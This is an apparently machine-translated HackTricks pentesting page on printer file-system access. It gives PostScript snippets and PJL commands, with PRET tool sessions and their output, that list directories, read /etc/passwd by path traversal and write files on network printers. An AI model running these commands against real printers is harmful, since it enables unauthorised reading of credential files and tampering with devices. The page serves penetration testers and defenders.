hacktricks/network-services-pentesting/pentesting-printers/file-system-access.md
2023-08-03 19:12:22 +00:00

7.7 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

后记

检索敏感信息如配置文件或存储的打印作业通过编写文件实现RCE例如编辑rc脚本或替换二进制文件PostScriptPJL定义了合法的语言结构,用于访问文件系统

使用PostScript访问文件系统请注意它可能会被限制为无害操作

> /str 256 string def (%*%../*)                               % list all files
> {==} str filenameforall
< (%disk0%../webServer/home/device.html)
< (%disk0%../webServer/.java.login.config)
< (%disk0%../webServer/config/soe.xml)

> /byte (0) def                                                % read from file
> /infile (../../../etc/passwd) (r) file def
> { infile read {byte exch 0 exch put
>   (%stdout) (w) file byte writestring}
>   {infile closefile exit} ifelse
> } loop
< root::0:0::/:/bin/dlsh

> /outfile (test.txt) (w+) file def}}                         % write to file
> outfile (Hello World!) writestring
> outfile closefile

您可以使用PETT命令lsgetputappenddeleterenamefindmirrortouchmkdircdpwdchvoltraversalformatfuzzdf

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ../..
d        -   Jan  1  1970 (created Jan  1  1970)  bootdev
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_jdi_ss
d        -   Jan  1  1970 (created Jan  1  1970)  dsk_ram0
d        -   Jan  1  1970 (created Jan  1  1970)  etc
d        -   Jan  1  1970 (created Jan  1  1970)  tmp
d        -   Jan  1  1970 (created Jan  1  1970)  webServer

PJL

PJLPrinter Job Language是一种用于控制打印机的命令语言。它允许用户发送指令来管理打印任务、配置打印机设置以及执行其他操作。PJL命令通常通过网络发送给打印机因此在进行打印机渗透测试时了解和利用PJL命令是非常有用的。

PJL命令的基本结构

PJL命令由两部分组成指令名称和参数。指令名称用于指定要执行的操作而参数则提供了执行操作所需的额外信息。PJL命令使用ASCII字符编码并以换行符作为命令的结束符。

PJL命令的常见用途

以下是一些常见的PJL命令及其用途

  • @PJL INFO CONFIG:获取打印机的配置信息。
  • @PJL INFO VARIABLES:获取打印机的变量信息。
  • @PJL INFO STATUS:获取打印机的状态信息。
  • @PJL SET:设置打印机的配置参数。
  • @PJL USTATUS:启用或禁用打印机的状态通知功能。

利用PJL命令进行文件系统访问

在某些情况下PJL命令可以被利用来访问打印机的文件系统。通过发送特定的PJL命令可以执行文件操作如列出目录、读取文件内容、创建文件等。这种方法可以用于获取敏感信息或在目标系统上执行恶意操作。

PJL命令的安全性考虑

由于PJL命令可以对打印机进行广泛的控制因此在进行打印机渗透测试时需要谨慎使用PJL命令。未经授权的访问和滥用PJL命令可能导致打印机的故障或数据泄露。因此在使用PJL命令时务必遵循合法和道德的准则并获得适当的授权。

> @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535               (list all files)
< .\:\:TYPE=DIR
< ..\:\:TYPE=DIR
< PostScript TYPE=DIR
< PJL TYPE=DIR
< saveDevice TYPE=DIR
< webServer TYPE=DIR

> @PJL FSQUERY NAME="0:\..\..\etc\passwd"                     (read from file)
< @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
> @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
< root::0:0::/:/bin/dlsh

> @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt"                  (write to file)
> Hello World!

然而许多打印机不支持使用PJL访问文件。

您可以使用PRET命令:lsgetputappenddeletefindmirrortouchmkdircdpwdchvoltraversalformatfuzzdf

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> ls ..
d        -   bootdev
d        -   dsk_jdi
d        -   dsk_jdi_ss
d        -   dsk_ram0
d        -   etc
d        -   lrt
d        -   tmp
d        -   webServer
d        -   xps

了解使用PostScript和PJL限制可能绕过沙箱的更多信息请访问 http://hacking-printers.net/wiki/index.php/File_system_access

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥